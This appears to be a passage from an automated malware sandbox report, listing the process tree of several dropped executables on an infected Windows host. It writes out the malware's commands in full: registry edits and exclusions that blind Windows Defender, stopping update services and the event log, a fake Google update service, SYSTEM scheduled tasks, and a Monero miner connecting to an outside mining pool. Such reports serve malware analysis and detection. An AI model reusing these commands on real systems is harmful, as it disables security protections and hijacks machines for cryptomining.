schtasks /delete /tn ScheduledUpdate /f
8⤵
PID:5640

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -nologo -noprofile
8⤵
- Command and Scripting Interpreter: PowerShell
PID:5648

C:\Users\Admin\Pictures\62dFXIwrDfZWSDKlLeiSQUVn.exe
"C:\Users\Admin\Pictures\62dFXIwrDfZWSDKlLeiSQUVn.exe"
5⤵
PID:3960

C:\Users\Admin\Pictures\TXwunRPVzteNCWvp5tSmciUq.exe
"C:\Users\Admin\Pictures\TXwunRPVzteNCWvp5tSmciUq.exe"
5⤵
PID:4124

C:\Users\Admin\AppData\Local\Temp\7zS506D.tmp\Install.exe
.\Install.exe /tEdidDDf "385118" /S
6⤵
PID:4896

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
7⤵
PID:3680

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
8⤵
PID:1140

C:\Windows\SysWOW64\cmd.exe
/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
9⤵
PID:5016

\??\c:\windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
10⤵
PID:3588

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
8⤵
PID:2724

C:\Windows\SysWOW64\cmd.exe
/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
9⤵
PID:3900

\??\c:\windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
10⤵
PID:2764

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
8⤵
PID:1860

C:\Windows\SysWOW64\cmd.exe
/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
9⤵
PID:564

\??\c:\windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
10⤵
PID:3564

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
8⤵
PID:1560

C:\Windows\SysWOW64\cmd.exe
/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
9⤵
PID:1816

\??\c:\windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
10⤵
PID:3368

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
8⤵
PID:4816

C:\Windows\SysWOW64\cmd.exe
/C powershell start-process -WindowStyle Hidden gpupdate.exe /force
9⤵
PID:480

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell start-process -WindowStyle Hidden gpupdate.exe /force
10⤵
- Command and Scripting Interpreter: PowerShell
PID:3564

C:\Windows\SysWOW64\gpupdate.exe
"C:\Windows\system32\gpupdate.exe" /force
11⤵
PID:564

C:\Windows\SysWOW64\forfiles.exe
"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"
7⤵
PID:236

C:\Windows\SysWOW64\cmd.exe
/C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
8⤵
PID:3476

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
9⤵
- Command and Scripting Interpreter: PowerShell
PID:4644

C:\Windows\SysWOW64\Wbem\WMIC.exe
"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
10⤵
PID:5016

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "bbmnnUCIPYyTQrzMQJ" /SC once /ST 21:54:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\7zS506D.tmp\Install.exe\" it /sLsdidLiKq 385118 /S" /V1 /F
7⤵
- Creates scheduled task(s)
PID:2088

C:\Windows\SysWOW64\forfiles.exe
"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m waitfor.exe /c "cmd /C schtasks /run /I /tn bbmnnUCIPYyTQrzMQJ"
7⤵
PID:2580

C:\Windows\SysWOW64\cmd.exe
/C schtasks /run /I /tn bbmnnUCIPYyTQrzMQJ
8⤵
PID:1772

\??\c:\windows\SysWOW64\schtasks.exe
schtasks /run /I /tn bbmnnUCIPYyTQrzMQJ
9⤵
PID:3816

C:\Users\Admin\Pictures\uCBUvNV8xSpbj3H59BdB2E89.exe
"C:\Users\Admin\Pictures\uCBUvNV8xSpbj3H59BdB2E89.exe"
5⤵
PID:5092

C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
6⤵
- Command and Scripting Interpreter: PowerShell
PID:3216

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
6⤵
PID:6084

C:\Windows\system32\wusa.exe
wusa /uninstall /kb:890830 /quiet /norestart
7⤵
PID:3588

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop UsoSvc
6⤵
- Launches sc.exe
PID:6092

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop WaaSMedicSvc
6⤵
- Launches sc.exe
PID:5164

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop wuauserv
6⤵
- Launches sc.exe
PID:3524

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop bits
6⤵
- Launches sc.exe
PID:5260

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop dosvc
6⤵
- Launches sc.exe
PID:1388

C:\Windows\system32\powercfg.exe
C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
6⤵
PID:5280

C:\Windows\system32\powercfg.exe
C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
6⤵
PID:5352

C:\Windows\system32\powercfg.exe
C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
6⤵
PID:5356

C:\Windows\system32\powercfg.exe
C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
6⤵
PID:5372

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe delete "GoogleUpdateTaskMachineQC"
6⤵
- Launches sc.exe
PID:4888

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe create "GoogleUpdateTaskMachineQC" binpath= "C:\ProgramData\Google\Chrome\updater.exe" start= "auto"
6⤵
- Launches sc.exe
PID:5444

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop eventlog
6⤵
- Launches sc.exe
PID:5620

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe start "GoogleUpdateTaskMachineQC"
6⤵
- Launches sc.exe
PID:5628

C:\Users\Admin\Pictures\CoQv79D3RQvEZi8Cog6bac0Y.exe
"C:\Users\Admin\Pictures\CoQv79D3RQvEZi8Cog6bac0Y.exe"
5⤵
PID:716

C:\Users\Admin\AppData\Local\Temp\7zS5B0C.tmp\Install.exe
.\Install.exe /tEdidDDf "385118" /S
6⤵
PID:4868

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
7⤵
PID:4852

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
8⤵
PID:2724

C:\Windows\SysWOW64\cmd.exe
/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
9⤵
PID:3824

\??\c:\windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
10⤵
PID:1520

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
8⤵
PID:4652

C:\Windows\SysWOW64\cmd.exe
/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
9⤵
PID:2568

\??\c:\windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
10⤵
PID:1512

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
8⤵
PID:748

C:\Windows\SysWOW64\cmd.exe
/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
9⤵
PID:2568

\??\c:\windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
10⤵
PID:4740

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
8⤵
PID:4384

C:\Windows\SysWOW64\cmd.exe
/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
9⤵
PID:1972

\??\c:\windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
10⤵
PID:1540

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
8⤵
PID:4452

C:\Windows\SysWOW64\cmd.exe
/C powershell start-process -WindowStyle Hidden gpupdate.exe /force
9⤵
PID:3836

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell start-process -WindowStyle Hidden gpupdate.exe /force
10⤵
- Command and Scripting Interpreter: PowerShell
PID:1540

C:\Windows\SysWOW64\gpupdate.exe
"C:\Windows\system32\gpupdate.exe" /force
11⤵
PID:4628

C:\Windows\SysWOW64\forfiles.exe
"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"
7⤵
PID:2496

C:\Windows\SysWOW64\cmd.exe
/C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
8⤵
PID:856

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
9⤵
- Command and Scripting Interpreter: PowerShell
PID:4008

C:\Windows\SysWOW64\Wbem\WMIC.exe
"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
10⤵
PID:396

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "bbmnnUCIPYyTQrzMQJ" /SC once /ST 21:54:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\7zS5B0C.tmp\Install.exe\" it /XtTdidbxCc 385118 /S" /V1 /F
7⤵
- Creates scheduled task(s)
PID:4232

C:\Windows\SysWOW64\forfiles.exe
"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m waitfor.exe /c "cmd /C schtasks /run /I /tn bbmnnUCIPYyTQrzMQJ"
7⤵
PID:2840

C:\Windows\SysWOW64\cmd.exe
/C schtasks /run /I /tn bbmnnUCIPYyTQrzMQJ
8⤵
PID:3912

\??\c:\windows\SysWOW64\schtasks.exe
schtasks /run /I /tn bbmnnUCIPYyTQrzMQJ
9⤵
PID:1620

C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe"
4⤵
PID:3032

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 864 -ip 864
1⤵
PID:3716

C:\Program Files (x86)\GameStabilityService\GameService.exe
"C:\Program Files (x86)\GameStabilityService\GameService.exe"
1⤵
PID:1692

C:\Program Files (x86)\GameStabilityService\GameStabilityService.exe
"C:\Program Files (x86)\GameStabilityService\GameStabilityService.exe"
2⤵
PID:724

C:\Windows\Temp\921510.exe
"C:\Windows\Temp\921510.exe" --http-port 14343 -o xmr.2miners.com:2222 -u 86Adxfq6AnkKUZNQwBuLMF9HYKxy399q4GoNvX86ddj4DNkHhKaPCWagERDeBPVYSw76hQwZATyV8GAWhX5g2ujETX6AWcp --coin XMR -t 1 --no-color -p x
3⤵
PID:1080

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 500 -p 4588 -ip 4588
1⤵
PID:3368

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 484 -p 4588 -ip 4588
1⤵
PID:3936

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 4588 -ip 4588
1⤵
PID:3720

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 4588 -ip 4588
1⤵
PID:4452

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 508 -p 4588 -ip 4588
1⤵
PID:72

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 508 -p 4588 -ip 4588
1⤵
PID:2056

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 512 -p 4588 -ip 4588
1⤵
PID:1896

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 536 -p 4588 -ip 4588
1⤵
PID:3812

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 528 -p 4588 -ip 4588
1⤵
PID:2960

C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe
C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe
1⤵
PID:1548

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 536 -p 4588 -ip 4588
1⤵
PID:2152

C:\Users\Admin\AppData\Local\Temp\1000015001\NewB.exe
C:\Users\Admin\AppData\Local\Temp\1000015001\NewB.exe
1⤵
PID:1784

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
1⤵
PID:2056

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
1⤵
PID:1240

C:\Users\Admin\AppData\Local\Temp\7zS506D.tmp\Install.exe
C:\Users\Admin\AppData\Local\Temp\7zS506D.tmp\Install.exe it /sLsdidLiKq 385118 /S
1⤵
PID:832

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
2⤵
PID:2868

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
3⤵
PID:3424

C:\Windows\SysWOW64\cmd.exe
/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
4⤵
PID:4760

\??\c:\windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
5⤵
PID:4384

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
3⤵
PID:3720

C:\Windows\SysWOW64\cmd.exe
/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
4⤵
PID:3148

\??\c:\windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
5⤵
PID:864

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
3⤵
PID:4304

C:\Windows\SysWOW64\cmd.exe
/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
4⤵
PID:1972

\??\c:\windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
5⤵
PID:3924

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
3⤵
PID:3700

C:\Windows\SysWOW64\cmd.exe
/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
4⤵
PID:2316

\??\c:\windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
5⤵
PID:4852

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
3⤵
PID:1104

C:\Windows\SysWOW64\cmd.exe
/C powershell start-process -WindowStyle Hidden gpupdate.exe /force
4⤵
PID:3452

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell start-process -WindowStyle Hidden gpupdate.exe /force
5⤵
- Command and Scripting Interpreter: PowerShell
PID:4740

C:\Windows\SysWOW64\gpupdate.exe
"C:\Windows\system32\gpupdate.exe" /force
6⤵
PID:5232

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:64;"
2⤵
PID:2680

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
3⤵
PID:5332

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
4⤵
PID:5348

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64
3⤵
PID:5420

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32
